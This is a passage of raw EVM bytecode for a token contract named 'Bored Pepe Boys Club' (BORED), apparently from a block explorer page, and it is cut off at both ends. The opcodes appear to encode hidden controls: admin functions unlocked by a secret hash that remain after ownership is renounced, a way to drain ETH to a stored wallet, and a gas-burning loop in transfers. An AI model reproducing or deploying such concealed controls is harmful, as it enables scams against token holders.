516105549190612f4a565b60405180910390f35b34801561056957600080fd5b50610572610dc5565b005b34801561058057600080fd5b5061059b60048036038101906105969190612a95565b610e88565b005b3480156105a957600080fd5b506105b2610ed8565b6040516105bf9190612f4a565b60405180910390f35b3480156105d457600080fd5b506105dd610ede565b6040516105ea9190612df6565b60405180910390f35b3480156105ff57600080fd5b50610608610f07565b6040516106159190612ea8565b60405180910390f35b34801561062a57600080fd5b50610633610f44565b6040516106409190612df6565b60405180910390f35b34801561065557600080fd5b50610670600480360381019061066b91906128ea565b610f6a565b60405161067d9190612e72565b60405180910390f35b34801561069257600080fd5b506106ad60048036038101906106a89190612a95565b610f7f565b005b3480156106bb57600080fd5b506106d660048036038101906106d19190612a95565b610fcf565b005b3480156106e457600080fd5b506106ff60048036038101906106fa9190612a68565b611077565b60405161070c9190612f4a565b60405180910390f35b34801561072157600080fd5b5061073c60048036038101906107379190612867565b6110e9565b005b34801561074a57600080fd5b50610765600480360381019061076091906127d4565b611163565b6040516107729190612f4a565b60405180910390f35b34801561078757600080fd5b506107a2600480360381019061079d9190612a95565b6111ea565b005b3480156107b057600080fd5b506107b961123a565b6040516107c69190612e8d565b60405180910390f35b60175481565b60606040518060400160405280601481526020017f426f726564205065706520426f797320436c7562000000000000000000000000815250905090565b600081600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516108f29190612f4a565b60405180910390a36001905092915050565b601b5461091083611260565b1461091a57600080fd5b61092383611271565b80601b81905550505050565b60008261093b83611077565b11905092915050565b6000600454905090565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610b3a57610ab9826040518060400160405280601681526020017f496e73756666696369656e7420416c6c6f77616e636500000000000000000000815250600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118f69092919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610b4584848461195a565b90509392505050565b6000610bcb610b7e600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610d7c565b610bbd610bac600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610d7c565b600454611d3f90919063ffffffff16565b611d3f90919063ffffffff16565b905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b60006006905090565b601b54610c3e83611260565b14610c4857600080fd5b60005b8451811015610ca757610c9333868381518110610c6b57610c6a613406565b5b6020026020010151868481518110610c8657610c85613406565b5b602002602001015161195a565b508080610c9f9061332e565b915050610c4b565b5080601b8190555050505050565b6000610ce1827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff610812565b9050919050565b601b54610cf483611260565b14610cfe57600080fd5b83601660146101000a81548160ff0219169083151502179055508260178190555080601b8190555050505050565b601b54610d3883611260565b14610d4257600080fd5b836010819055508260118190555080601b8190555050505050565b60055481565b601660149054906101000a900460ff1681565b60185481565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610dce33610bd0565b610e0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0490612f2a565b60405180910390fd5b60008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861636000604051610e7e9190612df6565b60405180910390a1565b601b54610e9483611260565b14610e9e57600080fd5b606483600454610eae9190613198565b610eb89190613167565b6006819055506001831015610ecc57600080fd5b80601b81905550505050565b60065481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f424f524544000000000000000000000000000000000000000000000000000000815250905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610f7733848461195a565b905092915050565b601b54610f8b83611260565b14610f9557600080fd5b610fc230600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168561195a565b5080601b81905550505050565b601b54610fdb83611260565b14610fe557600080fd5b6000479050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc606486846110349190613198565b61103e9190613167565b9081150290604051600060405180830381858888f19350505050158015611069573d6000803e3d6000fd5b5081601b8190555050505050565b60006110e2611084610b4e565b6110d46110c560026110b7601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610d7c565b611d8990919063ffffffff16565b85611d8990919063ffffffff16565b611e0490919063ffffffff16565b9050919050565b601b546110f583611260565b146110ff57600080fd5b82600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080601b8190555050505050565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b601b546111f683611260565b1461120057600080fd5b6064836004546112109190613198565b61121a9190613167565b600581905550600183101561122e57600080fd5b80601b81905550505050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600081805190602001209050919050565b6001601a60016101000a81548160ff021916908315150217905550600081905060006112a160105460115461092f565b6112ad57600b546112b0565b60005b905060006112ee60026112e0600e546112d28688611d8990919063ffffffff16565b611e0490919063ffffffff16565b611e0490919063ffffffff16565b905060006113058285611d3f90919063ffffffff16565b90506000600267ffffffffffffffff81111561132457611323613435565b5b6040519080825280602002602001820160405280156113525781602001602082028036833780820191505090505b509050308160008151811061136a57611369613406565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561140c57600080fd5b505afa158015611420573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061144491906127a7565b8160018151811061145857611457613406565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000479050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008530426040518663ffffffff1660e01b81526004016114fb959493929190612f65565b600060405180830381600087803b15801561151557600080fd5b505af1158015611529573d6000803e3d6000fd5b5050505060006115428247611d3f90919063ffffffff16565b9050600061157061155f6002600b54611e0490919063ffffffff16565b600e54611d3f90919063ffffffff16565b905060006115ac600261159e846115908c88611d8990919063ffffffff16565b611e0490919063ffffffff16565b611e0490919063ffffffff16565b905060006115d7836115c9600c5487611d8990919063ffffffff16565b611e0490919063ffffffff16565b90506000611602846115f4600d5488611d8990919063ffffffff16565b611e0490919063ffffffff16565b90506000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16836175309060405161165090612de1565b600060405180830381858888f193505050503d806000811461168e576040519150601f19603f3d011682016040523d82523d6000602084013e611693565b606091505b505090506000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1683617530906040516116e390612de1565b600060405180830381858888f193505050503d8060008114611721576040519150601f19603f3d011682016040523d82523d6000602084013e611726565b606091505b505090508161176a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176190612eea565b60405180910390fd5b806117aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117a190612eea565b60405180910390fd5b60008b11156118cb57601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71986308e600080601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b815260040161183c96959493929190612e11565b6060604051808303818588803b15801561185557600080fd5b505af1158015611869573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061188e9190612bc7565b5050507f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b4506858c6040516118c2929190612fbf565b60405180910390a15b505050505050505050505050506000601a60016101000a81548160ff02191690831515021790555050565b600083831115829061193e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119359190612ea8565b60405180910390fd5b506000838561194d91906131f2565b9050809150509392505050565b6000601a60019054906101000a900460ff16156119835761197c848484611e4e565b9050611d38565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611a2f5750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611ae257600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611ad8575060055482600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ad59190613111565b11155b611ae157600080fd5b5b611aec8483612021565b601a60009054906101000a900460ff1615611b1e57621e848060186000828254611b169190613111565b925050819055505b611b2782612169565b611b3184836121b6565b611b3961221d565b15611b4a57611b49601754611271565b5b611bd3826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118f69092919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000611c21856122f4565b611c2b5782611c36565b611c35858461234b565b5b9050611c8a81600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461248f90919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611d2a9190612f4a565b60405180910390a360019150505b9392505050565b6000611d8183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506118f6565b905092915050565b600080831415611d9c5760009050611dfe565b60008284611daa9190613198565b9050828482611db99190613167565b14611df9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611df090612f0a565b60405180910390fd5b809150505b92915050565b6000611e4683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506124ed565b905092915050565b6000611ed9826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118f69092919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f6e82600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461248f90919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161200e9190612f4a565b60405180910390a3600190509392505050565b601a60009054906101000a900460ff161561216557600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061209b57506000601854826120999190613377565b145b806120b357506000601954826120b19190613377565b145b156120c45760006001905050612164565b6000600190506000600390506000600190505b818111612160576000600190505b82811161214c5760005b6103e881101561213857670de0b6b3a764000082848761210f9190613198565b6121199190613198565b6121239190613377565b945080806121309061332e565b9150506120ef565b5080806121449061332e565b9150506120e5565b5080806121589061332e565b9150506120d7565b5050505b5b5050565b601a60009054906101000a900460ff16801561219257506000601954826121909190613377565b145b156121b3576000601a60006101000a81548160ff0219169083151502179055505b50565b600654811115806122105750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61221957600080fd5b5050565b6000601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415801561228a5750601a60019054906101000a900460ff16155b80156122a25750601660149054906101000a900460ff165b80156122ef5750601754600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b905090565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16159050919050565b600080612377600f54612369600e5486611d8990919063ffffffff16565b611e0490919063ffffffff16565b90506123cb81600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461248f90919063ffffffff16565b600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161246b9190612f4a565b60405180910390a36124868184611d3f90919063ffffffff16565b91505092915050565b600080828461249e9190613111565b9050838110156124e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124da90612eca565b60405180910390fd5b8091505092915050565b60008083118290612534576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161252b9190612ea8565b60405180910390fd5b50600083856125439190613167565b9050809150509392505050565b600061256361255e84613028565b613003565b9050808382526020820190508285602086028201111561258657612585613469565b5b60005b858110156125b6578161259c8882612672565b845260208401935060208301925050600181019050612589565b5050509392505050565b60006125d36125ce84613054565b613003565b905080838252602082019050828560208602820111156125f6576125f5613469565b5b60005b85811015612626578161260c8882612750565b8452602084019350602083019250506001810190506125f9565b5050509392505050565b600061264361263e84613080565b613003565b90508281526020810184848401111561265f5761265e61346e565b5b61266a8482856132bb565b509392505050565b6000813590506126818161355b565b92915050565b6000815190506126968161355b565b92915050565b600082601f8301126126b1576126b0613464565b5b81356126c1848260208601612550565b91505092915050565b600082601f8301126126df576126de613464565b5b81356126ef8482602086016125c0565b91505092915050565b60008135905061270781613572565b92915050565b60008135905061271c81613589565b92915050565b600082601f83011261273757612736613464565b5b8135612747848260208601612630565b91505092915050565b60008135905061275f816135a0565b92915050565b600081519050612774816135a0565b92915050565b6000602082840312156127905761278f613478565b5b600061279e84828501612672565b91505092915050565b6000602082840312156127bd576127bc613478565b5b60006127cb84828501612687565b91505092915050565b600080604083850312156127eb576127ea613478565b5b60006127f985828601612672565b925050602061280a85828601612672565b9150509250929050565b60008060006060848603121561282d5761282c613478565b5b600061283b86828701612672565b935050602061284c86828701612672565b925050604061285d86828701612750565b9150509250925092565b6000806000806080858703121561288157612880613478565b5b600061288f87828801612672565b94505060206128a0878288016126f8565b935050604085013567ffffffffffffffff8111156128c1576128c0613473565b5b6128cd87828801612722565b92505060606128de8782880161270d565b91505092959194509250565b6000806040838503121561290157612900613478565b5b600061290f85828601612672565b925050602061292085828601612750565b9150509250929050565b6000806000806080858703121561294457612943613478565b5b600085013567ffffffffffffffff81111561296257612961613473565b5b61296e8782880161269c565b945050602085013567ffffffffffffffff81111561298f5761298e613473565b5b61299b878288016126ca565b935050604085013567ffffffffffffffff8111156129bc576129bb613473565b5b6129c887828801612722565b92505060606129d98782880161270d565b91505092959194509250565b600080600080608085870312156129ff576129fe613478565b5b6000612a0d878288016126f8565b9450506020612a1e87828801612750565b935050604085013567ffffffffffffffff811115612a3f57612a3e613473565b5b612a4b87828801612722565b9250506060612a5c8782880161270d565b91505092959194509250565b600060208284031215612a7e57612a7d613478565b5b6000612a8c84828501612750565b91505092915050565b600080600060608486031215612aae57612aad613478565b5b6000612abc86828701612750565b935050602084013567ffffffffffffffff811115612add57612adc613473565b5b612ae986828701612722565b9250506040612afa8682870161270d565b9150509250925092565b60008060408385031215612b1b57612b1a613478565b5b6000612b2985828601612750565b9250506020612b3a85828601612750565b9150509250929050565b60008060008060808587031215612b5e57612b5d613478565b5b6000612b6c87828801612750565b9450506020612b7d87828801612750565b935050604085013567ffffffffffffffff811115612b9e57612b9d613473565b5b612baa87828801612722565b9250506060612bbb8782880161270d565b91505092959194509250565b600080600060608486031215612be057612bdf613478565b5b6000612bee86828701612765565b9350506020612bff86828701612765565b9250506040612c1086828701612765565b9150509250925092565b6000612c268383612c32565b60208301905092915050565b612c3b81613226565b82525050565b612c4a81613226565b82525050565b6000612c5b826130c1565b612c6581856130e4565b9350612c70836130b1565b8060005b83811015612ca1578151612c888882612c1a565b9750612c93836130d7565b925050600181019050612c74565b5085935050505092915050565b612cb781613238565b82525050565b612cc681613285565b82525050565b612cd5816132a9565b82525050565b6000612ce6826130cc565b612cf08185613100565b9350612d008185602086016132ca565b612d098161347d565b840191505092915050565b6000612d21601b83613100565b9150612d2c8261348e565b602082019050919050565b6000612d44601e83613100565b9150612d4f826134b7565b602082019050919050565b6000612d67602183613100565b9150612d72826134e0565b604082019050919050565b6000612d8a600683613100565b9150612d958261352f565b602082019050919050565b6000612dad6000836130f5565b9150612db882613558565b600082019050919050565b612dcc8161326e565b82525050565b612ddb81613278565b82525050565b6000612dec82612da0565b9150819050919050565b6000602082019050612e0b6000830184612c41565b92915050565b600060c082019050612e266000830189612c41565b612e336020830188612dc3565b612e406040830187612ccc565b612e4d6060830186612ccc565b612e5a6080830185612c41565b612e6760a0830184612dc3565b979650505050505050565b6000602082019050612e876000830184612cae565b92915050565b6000602082019050612ea26000830184612cbd565b92915050565b60006020820190508181036000830152612ec28184612cdb565b905092915050565b60006020820190508181036000830152612ee381612d14565b9050919050565b60006020820190508181036000830152612f0381612d37565b9050919050565b60006020820190508181036000830152612f2381612d5a565b9050919050565b60006020820190508181036000830152612f4381612d7d565b9050919050565b6000602082019050612f5f6000830184612dc3565b92915050565b600060a082019050612f7a6000830188612dc3565b612f876020830187612ccc565b8181036040830152612f998186612c50565b9050612fa86060830185612c41565b612fb56080830184612dc3565b9695505050505050565b6000604082019050612fd46000830185612dc3565b612fe16020830184612dc3565b9392505050565b6000602082019050612ffd6000830184612dd2565b92915050565b600061300d61301e565b905061301982826132fd565b919050565b6000604051905090565b600067ffffffffffffffff82111561304357613042613435565b5b602082029050602081019050919050565b600067ffffffffffffffff82111561306f5761306e613435565b5b602082029050602081019050919050565b600067ffffffffffffffff82111561309b5761309a613435565b5b6130a48261347d565b9050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600081905092915050565b600082825260208201905092915050565b600061311c8261326e565b91506131278361326e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561315c5761315b6133a8565b5b828201905092915050565b60006131728261326e565b915061317d8361326e565b92508261318d5761318c6133d7565b5b828204905092915050565b60006131a38261326e565b91506131ae8361326e565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131e7576131e66133a8565b5b828202905092915050565b60006131fd8261326e565b91506132088361326e565b92508282101561321b5761321a6133a8565b5b828203905092915050565b60006132318261324e565b9050919050565b60008115159050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061329082613297565b9050919050565b60006132a28261324e565b9050919050565b60006132b48261326e565b9050919050565b82818337600083830152505050565b60005b838110156132e85780820151818401526020810190506132cd565b838111156132f7576000848401525b50505050565b6133068261347d565b810181811067ffffffffffffffff8211171561332557613324613435565b5b80604052505050565b60006133398261326e565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561336c5761336b6133a8565b5b600182019050919050565b60006133828261326e565b915061338d8361326e565b92508261339d5761339c6133d7565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f72656365697665722072656a656374656420455448207472616e736665720000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f214f574e45520000000000000000000000000000000000000000000000000000600082015250565b50565b61356481613226565b811461356f57600080fd5b50565b61357b81613238565b811461358657600080fd5b50565b61359281613244565b811461359d57600080fd5b50565b6135a98161326e565b81146135b457600080fd5b5056fea2646970667358221220f2701f3958b0ff419bc8ac902262e4d61c43fb8475bcbe010a9c5ac24b6f8c5c64736f6c63430008050033

Deployed Bytecode

0x6080604052600436106101e75760003560e01c8063700fa9ef11610102578063a9059cbb11610095578063d8f57a9211610064578063d8f57a9214610715578063dd62ed3e1461073e578063f784b6331461077b578063f887ea40146107a4576101ee565b8063a9059cbb14610649578063ae5384e814610686578063c8f7cf78146106af578063d51ed1c8146106d8576101ee565b80637d1db4a5116100d15780637d1db4a51461059d578063893d20e8146105c857806395d89b41146105f3578063a8aa1b311461061e576101ee565b8063700fa9ef146104f557806370a0823114610520578063715018a61461055d57806377cb747614610574576101ee565b80632f54bf6e1161017a5780635eb7c32b116101495780635eb7c32b1461044d578063673d0359146104765780636c0a24eb1461049f5780636ddd1713146104ca576101ee565b80632f54bf6e1461037f578063313ce567146103bc578063497d764f146103e7578063571ac8b014610410576101ee565b80631161ae39116101b65780631161ae39146102af57806318160ddd146102ec57806323b872dd146103175780632b112e4914610354576101ee565b80630445b667146101f357806306fdde031461021e578063095ea7b3146102495780630f48f73f14610286576101ee565b366101ee57005b600080fd5b3480156101ff57600080fd5b506102086107cf565b6040516102159190612f4a565b60405180910390f35b34801561022a57600080fd5b506102336107d5565b6040516102409190612ea8565b60405180910390f35b34801561025557600080fd5b50610270600480360381019061026b91906128ea565b610812565b60405161027d9190612e72565b60405180910390f35b34801561029257600080fd5b506102ad60048036038101906102a89190612a95565b610904565b005b3480156102bb57600080fd5b506102d660048036038101906102d19190612b04565b61092f565b6040516102e39190612e72565b60405180910390f35b3480156102f857600080fd5b50610301610944565b60405161030e9190612f4a565b60405180910390f35b34801561032357600080fd5b5061033e60048036038101906103399190612814565b61094e565b60405161034b9190612e72565b60405180910390f35b34801561036057600080fd5b50610369610b4e565b6040516103769190612f4a565b60405180910390f35b34801561038b57600080fd5b506103a660048036038101906103a1919061277a565b610bd0565b6040516103b39190612e72565b60405180910390f35b3480156103c857600080fd5b506103d1610c29565b6040516103de9190612fe8565b60405180910390f35b3480156103f357600080fd5b5061040e6004803603810190610409919061292a565b610c32565b005b34801561041c57600080fd5b506104376004803603810190610432919061277a565b610cb5565b6040516104449190612e72565b60405180910390f35b34801561045957600080fd5b50610474600480360381019061046f91906129e5565b610ce8565b005b34801561048257600080fd5b5061049d60048036038101906104989190612b44565b610d2c565b005b3480156104ab57600080fd5b506104b4610d5d565b6040516104c19190612f4a565b60405180910390f35b3480156104d657600080fd5b506104df610d63565b6040516104ec9190612e72565b60405180910390f35b34801561050157600080fd5b5061050a610d76565b6040516105179190612f4a565b60405180910390f35b34801561052c57600080fd5b506105476004803603810190610542919061277a565b610d7c565b6040516105549190612f4a565b60405180910390f35b34801561056957600080fd5b50610572610dc5565b005b34801561058057600080fd5b5061059b60048036038101906105969190612a95565b610e88565b005b3480156105a957600080fd5b506105b2610ed8565b6040516105bf9190612f4a565b60405180910390f35b3480156105d457600080fd5b506105dd610ede565b6040516105ea9190612df6565b60405180910390f35b3480156105ff57600080fd5b50610608610f07565b6040516106159190612ea8565b60405180910390f35b34801561062a57600080fd5b50610633610f44565b6040516106409190612df6565b60405180910390f35b34801561065557600080fd5b50610670600480360381019061066b91906128ea565b610f6a565b60405161067d9190612e72565b60405180910390f35b34801561069257600080fd5b506106ad60048036038101906106a89190612a95565b610f7f565b005b3480156106bb57600080fd5b506106d660048036038101906106d19190612a95565b610fcf565b005b3480156106e457600080fd5b506106ff60048036038101906106fa9190612a68565b611077565b60405161070c9190612f4a565b60405180910390f35b34801561072157600080fd5b5061073c60048036038101906107379190612867565b6110e9565b005b34801561074a57600080fd5b50610765600480360381019061076091906127d4565b611163565b6040516107729190612f4a565b60405180910390f35b34801561078757600080fd5b506107a2600480360381019061079d9190612a95565b6111ea565b005b3480156107b057600080fd5b506107b961123a565b6040516107c69190612e8d565b60405180910390f35b60175481565b60606040518060400160405280601481526020017f426f726564205065706520426f797320436c7562000000000000000000000000815250905090565b600081600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516108f29190612f4a565b60405180910390a36001905092915050565b601b5461091083611260565b1461091a57600080fd5b61092383611271565b80601b81905550505050565b60008261093b83611077565b11905092915050565b6000600454905090565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610b3a57610ab9826040518060400160405280601681526020017f496e73756666696369656e7420416c6c6f77616e636500000000000000000000815250600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118f69092919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610b4584848461195a565b90509392505050565b6000610bcb610b7e600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610d7c565b610bbd610bac600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610d7c565b600454611d3f90919063ffffffff16565b611d3f90919063ffffffff16565b905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b60006006905090565b601b54610c3e83611260565b14610c4857600080fd5b60005b8451811015610ca757610c9333868381518110610c6b57610c6a613406565b5b6020026020010151868481518110610c8657610c85613406565b5b602002602001015161195a565b508080610c9f9061332e565b915050610c4b565b5080601b8190555050505050565b6000610ce1827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff610812565b9050919050565b601b54610cf483611260565b14610cfe57600080fd5b83601660146101000a81548160ff0219169083151502179055508260178190555080601b8190555050505050565b601b54610d3883611260565b14610d4257600080fd5b836010819055508260118190555080601b8190555050505050565b60055481565b601660149054906101000a900460ff1681565b60185481565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610dce33610bd0565b610e0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0490612f2a565b60405180910390fd5b60008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861636000604051610e7e9190612df6565b60405180910390a1565b601b54610e9483611260565b14610e9e57600080fd5b606483600454610eae9190613198565b610eb89190613167565b6006819055506001831015610ecc57600080fd5b80601b81905550505050565b60065481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f424f524544000000000000000000000000000000000000000000000000000000815250905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610f7733848461195a565b905092915050565b601b54610f8b83611260565b14610f9557600080fd5b610fc230600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168561195a565b5080601b81905550505050565b601b54610fdb83611260565b14610fe557600080fd5b6000479050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffff